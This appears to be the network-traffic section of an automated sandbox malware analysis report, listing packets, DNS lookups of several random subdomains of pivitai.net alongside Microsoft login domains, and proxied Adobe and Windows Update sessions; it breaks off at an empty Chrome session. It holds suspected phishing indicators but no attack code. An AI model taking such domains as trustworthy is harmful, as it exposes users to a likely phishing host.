Apr 26, 2024 22:19:18.841703892 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.841703892 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.841757059 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.841767073 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.841778994 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.841811895 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:25.141056061 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.141091108 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.141176939 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.141352892 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.141371965 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.468452930 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.468828917 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.468873978 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.469950914 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.470026016 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.471252918 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.471322060 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.471421003 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.471431017 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.521554947 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.544023037 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:19:25.544233084 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:19:25.544332981 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:19:25.726922035 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:19:25.726986885 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:19:25.821320057 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.821419001 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.821506977 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.821613073 CEST	49774	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.821646929 CEST	443	49774	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.822053909 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.822082996 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:25.822165012 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.822367907 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:25.822381020 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.144973040 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.145270109 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.145296097 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.145648956 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.145981073 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.146038055 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.146099091 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.187582016 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.187592030 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.501266956 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.501344919 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:26.501434088 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.501677036 CEST	49776	443	192.168.2.17	35.190.80.1
Apr 26, 2024 22:19:26.501696110 CEST	443	49776	35.190.80.1	192.168.2.17
Apr 26, 2024 22:19:28.689503908 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:28.689589024 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:28.689913034 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:29.727451086 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:29.727489948 CEST	443	49772	142.250.217.164	192.168.2.17

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 22:18:13.583599091 CEST	53	61923	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:13.620296001 CEST	53	59425	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:15.407509089 CEST	63294	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:15.407659054 CEST	52238	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:15.536870956 CEST	53	52238	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:15.538094997 CEST	53	63294	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:15.586482048 CEST	53	51694	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:18.311278105 CEST	49612	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:18.311429977 CEST	53723	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:18.440517902 CEST	53	49612	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:18.440576077 CEST	53	53723	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:18.956728935 CEST	54110	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:18.956886053 CEST	60840	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:19.085616112 CEST	53	54110	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:19.088264942 CEST	53	60840	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:20.722805977 CEST	59639	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:20.722805977 CEST	63859	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:20.854062080 CEST	53	63859	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:20.856080055 CEST	53	59639	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:22.491842985 CEST	55289	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:22.492022991 CEST	51898	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:22.621958017 CEST	53	51898	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:22.622936010 CEST	53	55289	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.006127119 CEST	63232	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.006341934 CEST	53704	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.126380920 CEST	62658	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.126806974 CEST	57981	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.252063036 CEST	53	62658	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.253403902 CEST	53	57981	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.266328096 CEST	55519	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.266463041 CEST	62113	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.370011091 CEST	53616	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.370155096 CEST	52324	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:25.395108938 CEST	53	55519	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.397308111 CEST	53	62113	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.499476910 CEST	53	53616	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:25.500509024 CEST	53	52324	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:27.475898027 CEST	53	54427	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:28.433206081 CEST	63941	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:28.433445930 CEST	50942	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:28.474468946 CEST	57172	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:28.474597931 CEST	55974	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:18:28.603528023 CEST	53	57172	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:28.604151964 CEST	53	55974	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:32.603379965 CEST	53	58855	1.1.1.1	192.168.2.17
Apr 26, 2024 22:18:51.334908009 CEST	53	56279	1.1.1.1	192.168.2.17
Apr 26, 2024 22:19:01.354837894 CEST	138	138	192.168.2.17	192.168.2.255
Apr 26, 2024 22:19:13.580615044 CEST	53	58090	1.1.1.1	192.168.2.17
Apr 26, 2024 22:19:14.288557053 CEST	53	49320	1.1.1.1	192.168.2.17
Apr 26, 2024 22:19:25.015012980 CEST	49269	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:19:25.015156031 CEST	62065	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:19:25.139959097 CEST	53	49269	1.1.1.1	192.168.2.17
Apr 26, 2024 22:19:25.140665054 CEST	53	62065	1.1.1.1	192.168.2.17
Apr 26, 2024 22:19:25.540997982 CEST	54720	53	192.168.2.17	1.1.1.1
Apr 26, 2024 22:19:25.541177034 CEST	57265	53	192.168.2.17	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 26, 2024 22:18:13.694782019 CEST	192.168.2.17	1.1.1.1	c246	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 22:18:15.407509089 CEST	192.168.2.17	1.1.1.1	0xb23e	Standard query (0)	dyjt.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:15.407659054 CEST	192.168.2.17	1.1.1.1	0xd147	Standard query (0)	dyjt.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:18.311278105 CEST	192.168.2.17	1.1.1.1	0x5592	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:18.311429977 CEST	192.168.2.17	1.1.1.1	0xc911	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 22:18:18.956728935 CEST	192.168.2.17	1.1.1.1	0xade7	Standard query (0)	bdfdbdf.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:18.956886053 CEST	192.168.2.17	1.1.1.1	0x2e80	Standard query (0)	bdfdbdf.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:20.722805977 CEST	192.168.2.17	1.1.1.1	0x2c38	Standard query (0)	dfgrt.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:20.722805977 CEST	192.168.2.17	1.1.1.1	0x7a43	Standard query (0)	dfgrt.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:22.491842985 CEST	192.168.2.17	1.1.1.1	0xe0a	Standard query (0)	wreg.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:22.492022991 CEST	192.168.2.17	1.1.1.1	0xa320	Standard query (0)	wreg.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:25.006127119 CEST	192.168.2.17	1.1.1.1	0x859f	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.006341934 CEST	192.168.2.17	1.1.1.1	0xe196	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:25.126380920 CEST	192.168.2.17	1.1.1.1	0xa8ac	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.126806974 CEST	192.168.2.17	1.1.1.1	0xda0f	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:25.266328096 CEST	192.168.2.17	1.1.1.1	0x3c01	Standard query (0)	yukrtg.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.266463041 CEST	192.168.2.17	1.1.1.1	0x23fa	Standard query (0)	yukrtg.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:25.370011091 CEST	192.168.2.17	1.1.1.1	0xdf4f	Standard query (0)	dwqef.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.370155096 CEST	192.168.2.17	1.1.1.1	0x203f	Standard query (0)	dwqef.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:18:28.433206081 CEST	192.168.2.17	1.1.1.1	0xe45b	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:28.433445930 CEST	192.168.2.17	1.1.1.1	0xff05	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Apr 26, 2024 22:18:28.474468946 CEST	192.168.2.17	1.1.1.1	0xef43	Standard query (0)	yukrtg.pivitai.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:28.474597931 CEST	192.168.2.17	1.1.1.1	0x60e7	Standard query (0)	yukrtg.pivitai.net	65	IN (0x0001)	false
Apr 26, 2024 22:19:25.015012980 CEST	192.168.2.17	1.1.1.1	0x6263	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:19:25.015156031 CEST	192.168.2.17	1.1.1.1	0x202d	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 26, 2024 22:19:25.540997982 CEST	192.168.2.17	1.1.1.1	0x96fb	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:19:25.541177034 CEST	192.168.2.17	1.1.1.1	0xed63	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 22:18:15.536870956 CEST	1.1.1.1	192.168.2.17	0xd147	No error (0)	dyjt.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:15.538094997 CEST	1.1.1.1	192.168.2.17	0xb23e	No error (0)	dyjt.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:15.538094997 CEST	1.1.1.1	192.168.2.17	0xb23e	No error (0)	dyjt.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:18.440517902 CEST	1.1.1.1	192.168.2.17	0x5592	No error (0)	www.google.com		142.250.217.164	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:18.440576077 CEST	1.1.1.1	192.168.2.17	0xc911	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 22:18:19.085616112 CEST	1.1.1.1	192.168.2.17	0xade7	No error (0)	bdfdbdf.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:19.085616112 CEST	1.1.1.1	192.168.2.17	0xade7	No error (0)	bdfdbdf.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:19.088264942 CEST	1.1.1.1	192.168.2.17	0x2e80	No error (0)	bdfdbdf.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:20.854062080 CEST	1.1.1.1	192.168.2.17	0x7a43	No error (0)	dfgrt.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:20.856080055 CEST	1.1.1.1	192.168.2.17	0x2c38	No error (0)	dfgrt.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:20.856080055 CEST	1.1.1.1	192.168.2.17	0x2c38	No error (0)	dfgrt.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:22.621958017 CEST	1.1.1.1	192.168.2.17	0xa320	No error (0)	wreg.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:22.622936010 CEST	1.1.1.1	192.168.2.17	0xe0a	No error (0)	wreg.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:22.622936010 CEST	1.1.1.1	192.168.2.17	0xe0a	No error (0)	wreg.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.130831003 CEST	1.1.1.1	192.168.2.17	0x859f	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:25.132631063 CEST	1.1.1.1	192.168.2.17	0xe196	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:25.252063036 CEST	1.1.1.1	192.168.2.17	0xa8ac	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:25.252063036 CEST	1.1.1.1	192.168.2.17	0xa8ac	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.253403902 CEST	1.1.1.1	192.168.2.17	0xda0f	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:25.253813982 CEST	1.1.1.1	192.168.2.17	0xc217	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:25.253813982 CEST	1.1.1.1	192.168.2.17	0xc217	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.253813982 CEST	1.1.1.1	192.168.2.17	0xc217	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.395108938 CEST	1.1.1.1	192.168.2.17	0x3c01	No error (0)	yukrtg.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.395108938 CEST	1.1.1.1	192.168.2.17	0x3c01	No error (0)	yukrtg.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.397308111 CEST	1.1.1.1	192.168.2.17	0x23fa	No error (0)	yukrtg.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:25.499476910 CEST	1.1.1.1	192.168.2.17	0xdf4f	No error (0)	dwqef.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.499476910 CEST	1.1.1.1	192.168.2.17	0xdf4f	No error (0)	dwqef.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:25.500509024 CEST	1.1.1.1	192.168.2.17	0x203f	No error (0)	dwqef.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:18:28.558227062 CEST	1.1.1.1	192.168.2.17	0xe45b	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:28.559000969 CEST	1.1.1.1	192.168.2.17	0xff05	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:18:28.603528023 CEST	1.1.1.1	192.168.2.17	0xef43	No error (0)	yukrtg.pivitai.net		104.21.32.98	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:28.603528023 CEST	1.1.1.1	192.168.2.17	0xef43	No error (0)	yukrtg.pivitai.net		172.67.223.170	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:18:28.604151964 CEST	1.1.1.1	192.168.2.17	0x60e7	No error (0)	yukrtg.pivitai.net			65	IN (0x0001)	false
Apr 26, 2024 22:19:25.139959097 CEST	1.1.1.1	192.168.2.17	0x6263	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 26, 2024 22:19:25.666608095 CEST	1.1.1.1	192.168.2.17	0x96fb	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 22:19:25.667478085 CEST	1.1.1.1	192.168.2.17	0xed63	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

armmf.adobe.com

slscr.update.microsoft.com

fs.microsoft.com

email.wantyourfeedback.com

dyjt.pivitai.net

bdfdbdf.pivitai.net

dfgrt.pivitai.net

https:

wreg.pivitai.net

yukrtg.pivitai.net

dwqef.pivitai.net

evoke-windowsservices-tas.msedge.net

www.bing.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49702	104.94.108.142	443	544	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:17:46 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-04-26 20:17:46 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Fri, 26 Apr 2024 20:17:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49703	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:17:47 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SkP4Hx1tLvaAHe8&MD=VM8OULnM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 20:17:48 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 28e094c9-55a1-4a98-bffb-89f8c7185d25 MS-RequestId: 4f13cc0f-62f2-48bf-9172-f2366d4dcf4e MS-CV: LiGVCIP4ZUuEB6EM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 20:17:46 GMT Connection: close Content-Length: 24490
2024-04-26 20:17:48 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 20:17:48 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49710	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:03 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 20:18:03 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=38742 Date: Fri, 26 Apr 2024 20:18:03 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49711	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:04 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 20:18:04 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DZ+oYgAAAABSxwJpMgMuSLkfS640ajfFQVRBRURHRTEyMTkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=38735 Date: Fri, 26 Apr 2024 20:18:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 20:18:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49715	104.21.93.58	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
